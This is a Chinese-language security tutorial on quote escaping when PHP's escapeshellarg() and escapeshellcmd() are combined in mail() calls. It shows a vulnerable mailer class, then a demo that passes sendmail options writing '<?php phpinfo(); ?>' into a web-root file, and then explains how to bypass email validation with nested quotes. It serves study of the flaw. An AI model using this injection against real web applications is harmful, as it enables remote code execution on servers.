依葫芦画瓢之escapeshellarg()与escapeshellcmd()

前言:escapeshellarg()与escapeshellcmd()在共同使用的情况下将会出现引号逃逸的情况

0x01 demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

创建一个新的对象$mailer,然后调用send()方法。
其中mail()函数使用不当,将存在一定的安全隐患

1
2
3
4
5
6
7
8
9
10
<?php

$to = 'Alice@example.com';
$subject = 'hello Alice';
$message ='<?php phpinfo(); ?>';
$headers = "CC: somebodyelse@example.com";
$options = '-OQueueDirectory=/tmp -X /var/www/html/rce.php';
mail($to,$subject,$message,$headers,$options);

?>



然后就会有以下的结果

关键代码:

1
2
3
4
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

filter_var()函数使用特定的过滤器过滤一个变量。
关于filter_var()中FILTER_VALIDATE_EMAIL这个选项作用,参考点这里
其中“none of the special characters in this local part are allowed outside quotation marks” ,表示所有的特殊符号必须放在双引号中。

filter_var()存在问题:
(1)我们在引号中嵌套转义空格仍然能够通过检测。
(2)由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗filter_val()使其认为我们仍然在双引号中,这样我们就可以绕过检测。

0%